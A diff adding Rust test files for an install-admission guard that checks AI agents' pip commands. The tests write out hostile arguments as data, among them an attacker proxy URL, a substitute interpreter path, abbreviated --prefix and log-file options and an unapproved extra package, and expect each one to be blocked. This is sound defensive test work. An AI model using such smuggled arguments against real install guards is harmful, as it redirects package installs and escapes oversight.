wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, sha256_hex, +}; + +#[test] +fn approved_pip_install_cannot_gain_caller_selected_log_write_authority() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding log output authority" + ); + + for log_arguments in [ + vec!["--log=/tmp/wardnet-pip.log"], + vec!["--log", "/tmp/wardnet-pip.log"], + vec!["--log-file=/tmp/wardnet-pip.log"], + vec!["--log-file", "/tmp/wardnet-pip.log"], + vec!["--local-log=/tmp/wardnet-pip.log"], + vec!["--local-log", "/tmp/wardnet-pip.log"], + vec!["--log-f=/tmp/wardnet-pip.log"], + vec!["--log-f", "/tmp/wardnet-pip.log"], + vec!["--loc=/tmp/wardnet-pip.log"], + vec!["--loc", "/tmp/wardnet-pip.log"], + ] { + let mut intent = control_intent.clone(); + intent + .argv + .extend(log_arguments.iter().map(|argument| (*argument).to_string())); + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {} grants caller-selected log write authority and must fail closed", + log_arguments.join(" ") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{executable} {} must include the stable alternate_install_root reason", + log_arguments.join(" ") + ); + } + } +} + +#[test] +fn valid_global_pip_log_options_remain_causal_write_authority_evidence() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + + for global_log_arguments in [ + vec!["--log=/tmp/wardnet-pip.log"], + vec!["--log", "/tmp/wardnet-pip.log"], + vec!["--log-file=/tmp/wardnet-pip.log"], + vec!["--log-file", "/tmp/wardnet-pip.log"], + vec!["--local-log=/tmp/wardnet-pip.log"], + vec!["--local-log", "/tmp/wardnet-pip.log"], + vec!["--log-f", "/tmp/wardnet-pip.log"], + vec!["--loc=/tmp/wardnet-pip.log"], + ] { + let mut intent = control_intent.clone(); + let mut argv = Vec::with_capacity(intent.argv.len() + global_log_arguments.len()); + argv.push(executable.to_string()); + argv.extend( + global_log_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); + argv.extend(control_intent.argv.iter().skip(1).cloned()); + intent.argv = argv; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "parser-valid global {executable} {} must fail closed", + global_log_arguments.join(" ") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "parser-valid global {executable} {} must retain causal log-write evidence: {:?}", + global_log_arguments.join(" "), + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "the log path consumed by pip General Options must not masquerade as an artifact operand: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), + "policy normalization must preserve the exact submitted argv audit identity" + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.2".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-log-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_no_clean_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_no_clean_authority_contract.rs new file mode 100644 index 00000000..05db251c --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_no_clean_authority_contract.rs @@ -0,0 +1,98 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_direct_pip_install_cannot_disable_build_directory_cleanup() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding build-directory retention authority" + ); + + for no_clean_option in ["--no-cl", "--no-cle", "--no-clea", "--no-clean"] { + let mut hostile = control_intent.clone(); + hostile.argv.push(no_clean_option.to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {no_clean_option} asks pip to retain build directories outside reviewed artifact authority" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "{executable} {no_clean_option} must carry stable alternate_install_root evidence; got {:?}", + decision.reason_codes + ); + } + + let mut ambiguous = control_intent.clone(); + ambiguous.argv.push("--no-c".to_string()); + let ambiguous_decision = admission_decision(&policy, &ambiguous); + assert_eq!( + ambiguous_decision.decision, + DecisionKind::Allow, + "Wardnet must not invent ambiguous pip optparse prefix --no-c as --no-clean" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-12.no-clean-red".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-no-clean-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_noninteractive_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_noninteractive_authority_contract.rs new file mode 100644 index 00000000..4b593256 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_noninteractive_authority_contract.rs @@ -0,0 +1,92 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_must_disable_interactive_credential_discovery() { + for executable in ["pip", "pip3"] { + let (policy, mut interactive_intent) = approved_pip_install(executable); + + let interactive = admission_decision(&policy, &interactive_intent); + assert_eq!( + interactive.decision, + DecisionKind::Block, + "an otherwise reviewed {executable} install must not inherit interactive or ambient credential-provider authority" + ); + assert!( + interactive + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "missing canonical --no-input must produce the stable missing_safety_flag reason" + ); + + interactive_intent.argv.push("--no-input".to_string()); + let noninteractive = admission_decision(&policy, &interactive_intent); + assert_eq!( + noninteractive.decision, + DecisionKind::Allow, + "canonical --no-input must preserve the exact reviewed {executable} install baseline" + ); + assert!( + !noninteractive + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "the canonical noninteractive guard must satisfy the safety invariant" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.8".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-noninteractive-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_prefix_abbreviation_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_prefix_abbreviation_authority_contract.rs new file mode 100644 index 00000000..f7682e34 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_prefix_abbreviation_authority_contract.rs @@ -0,0 +1,99 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_direct_pip_install_cannot_select_prefix_through_optparse_abbreviation() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding prefix authority" + ); + + let mut hostile = control_intent.clone(); + hostile + .argv + .push("--prefi=/tmp/wardnet-pip-prefix".to_string()); + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} --prefi=... is pip's accepted unambiguous --prefix prefix and must not escape the reviewed install root" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "{executable} --prefi=... must carry stable alternate_install_root evidence; got {:?}", + decision.reason_codes + ); + + let mut ambiguous = control_intent.clone(); + ambiguous + .argv + .push("--pref=/tmp/wardnet-pip-prefix".to_string()); + let ambiguous_decision = admission_decision(&policy, &ambiguous); + assert_eq!( + ambiguous_decision.decision, + DecisionKind::Allow, + "Wardnet must not invent ambiguous pip optparse prefix --pref as --prefix" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-12.prefix-abbreviation-red".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-prefix-abbreviation-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs new file mode 100644 index 00000000..1facb922 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs @@ -0,0 +1,298 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn approved_pip_install_without_proxy_override_remains_allowed() { + for executable in ["pip", "pip3"] { + let (policy, intent) = approved_pip_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Allow, + "{executable} baseline must remain admissible" + ); + assert!(decision.reason_codes.is_empty()); + } +} + +#[test] +fn pip_global_proxy_before_install_fails_closed_without_artifact_pollution() { + for executable in ["pip", "pip3"] { + for proxy_arguments in [ + vec![ + "--proxy".to_string(), + "http://attacker.invalid:8080".to_string(), + ], + vec![ + "--prox".to_string(), + "http://attacker.invalid:8080".to_string(), + ], + vec!["--proxy=http://attacker.invalid:8080".to_string()], + vec!["--prox=http://attacker.invalid:8080".to_string()], + ] { + let (policy, mut intent) = approved_pip_install(executable); + let install_arguments = intent.argv.split_off(1); + intent.argv.extend(proxy_arguments.clone()); + intent.argv.extend(install_arguments); + let submitted_command_sha256 = sha256_hex(intent.argv.join("\u{1f}").as_bytes()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must reject parser-valid global proxy authority before install: {:?}", + proxy_arguments + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateTrustRoot], + "global proxy authority must produce only its causal trust-authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, submitted_command_sha256, + "policy normalization must not rewrite submitted-command evidence" + ); + } + } +} + +#[test] +fn pip_global_proxy_value_does_not_hide_a_genuine_extra_artifact() { + for executable in ["pip", "pip3"] { + for proxy_option in ["--proxy", "--prox"] { + let (policy, mut intent) = approved_pip_install(executable); + let install_arguments = intent.argv.split_off(1); + intent.argv.push(proxy_option.to_string()); + intent.argv.push("http://attacker.invalid:8080".to_string()); + intent.argv.extend(install_arguments); + intent.argv.push("attacker-package==9.9.9".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes.len(), + 2, + "global proxy normalization must consume only the reviewed proxy value: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "global {proxy_option:?} must retain proxy/trust-authority evidence: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "a real undeclared package must remain visible after global proxy normalization: {:?}", + decision.reason_codes + ); + } + } +} + +#[test] +fn unreviewed_pip_global_option_is_not_hidden_by_proxy_normalization() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + let install_arguments = intent.argv.split_off(1); + intent + .argv + .extend(["--timeout".to_string(), "1".to_string()]); + intent.argv.extend(install_arguments); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unreviewed global option grammar must remain outside the supported command path: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "an arbitrary global option value must not be silently consumed as proxy syntax: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn pip_proxy_override_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + for proxy_option in [ + "--proxy=http://attacker.invalid:8080", + "--prox=http://attacker.invalid:8080", + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(proxy_option.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let accepted proxy selector {proxy_option:?} inherit approved artifact authority" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateTrustRoot], + "attached proxy routing authority {proxy_option:?} must produce only its causal trust-authority evidence" + ); + } + } +} + +#[test] +fn pip_separate_proxy_value_is_not_misclassified_as_an_artifact() { + for executable in ["pip", "pip3"] { + for proxy_option in ["--proxy", "--prox"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(proxy_option.to_string()); + intent.argv.push("http://attacker.invalid:8080".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} separate proxy syntax {proxy_option:?} must fail closed" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateTrustRoot], + "the value consumed by {proxy_option:?} is proxy authority, not a second package artifact" + ); + } + } +} + +#[test] +fn genuine_extra_artifact_remains_visible_beside_separate_proxy_authority() { + for executable in ["pip", "pip3"] { + for proxy_option in ["--proxy", "--prox"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(proxy_option.to_string()); + intent.argv.push("http://attacker.invalid:8080".to_string()); + intent.argv.push("attacker-package==9.9.9".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes.len(), + 2, + "a consumed proxy value must add no spurious reason while a real extra package remains visible: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "separate {proxy_option:?} must retain its causal proxy/trust-authority reason: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "a genuine undeclared package must remain visible independently of the consumed proxy value: {:?}", + decision.reason_codes + ); + } + } +} + +#[test] +fn pip_no_proxy_env_cannot_disable_reviewed_runtime_proxy_selection() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push("--no-proxy-env".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let caller argv disable runtime proxy selection" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "proxy-environment suppression must be classified explicitly: {:?}", + decision.reason_codes + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-proxy-authority".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-proxy-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs new file mode 100644 index 00000000..2352dcbd --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs @@ -0,0 +1,171 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; +const INTERPRETER: &str = "/tmp/attacker-python"; + +#[test] +fn reviewed_direct_pip_install_without_python_override_remains_admissible() { + for executable in ["pip", "pip3"] { + let (policy, intent) = approved_pip_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + } +} + +#[test] +fn global_direct_pip_python_interpreter_authority_is_causally_classified() { + for executable in ["pip", "pip3"] { + for option in ["--python", "--py"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + option.to_string(), + INTERPRETER.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot], + "{executable} global separate {option} must identify caller-selected interpreter authority without manufacturing command or artifact findings" + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), + "internal policy normalization must retain the exact submitted argv as audit identity" + ); + } + } +} + +#[test] +fn attached_global_direct_pip_python_interpreter_authority_is_causally_classified() { + for executable in ["pip", "pip3"] { + for option in ["--python", "--py"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + format!("{option}={INTERPRETER}"), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot], + "{executable} global attached {option} must identify caller-selected interpreter authority" + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()) + ); + } + } +} + +#[test] +fn direct_pip_python_selector_does_not_hide_a_real_extra_artifact_operand() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "--python".to_string(), + INTERPRETER.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "unapproved-extra==9.9.9".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ + ReasonCode::AlternateInstallRoot, + ReasonCode::ArtifactNotApproved, + ], + "the interpreter value is option grammar, but a genuine second package operand remains an artifact-policy violation" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-python-interpreter-authority".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-python-interpreter-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_python_interpreter_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/pypi_python_interpreter_parser_phase_contract.rs new file mode 100644 index 00000000..aedcb965 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_python_interpreter_parser_phase_contract.rs @@ -0,0 +1,192 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; +const INTERPRETER: &str = "/tmp/attacker-python"; + +#[test] +fn pre_command_verified_python_abbreviation_retains_interpreter_authority() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + 